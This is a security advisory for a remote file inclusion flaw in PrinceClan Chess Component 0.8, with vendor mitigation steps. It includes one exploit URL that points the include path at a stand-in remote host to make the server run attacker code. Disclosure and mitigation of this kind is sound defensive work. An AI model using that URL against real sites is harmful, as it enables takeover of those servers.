[UNIX] PrinceClan Chess Component File Inclusion

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PrinceClan Chess Component File Inclusion
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SUMMARY

The <http://www.princeclan.org/> PrinceClan Chess Component has been
found to contain a vulnerability that allows remote attackers to cause the
product to include arbitrary files into its execution process, allowing
attackers to execute arbitrary code.

DETAILS

Vulnerable Systems:
* PrinceClan Chess Component version 0.8

Exploit:
The following URL will cause the inclusion of a remote file:
http://[host.com]/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=http://evil.txt?

Vendor response:
Due to a recent exploit discovered in Joomla and Mambo, all the Princeclan
components need modification to prevent hackers from taking control of
your site.

Add this line of code immediately after the first <?php tag to each file
with the extension .php:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not
allowed. ');

Failure to do this will result in your site being vulnerable to attack!

For additional protection, you should also change register_globals and
allow_url_fopen to off in the php.ini file for your site, if your ISP
allows this. This will protect you from the same vulnerability which
exists in many other components, modules, and mambots.


ADDITIONAL INFORMATION

The information has been provided by <mailto:tr_zindan@xxxxxxxxxxxxxxxx>
Tr_ZiNDaN.



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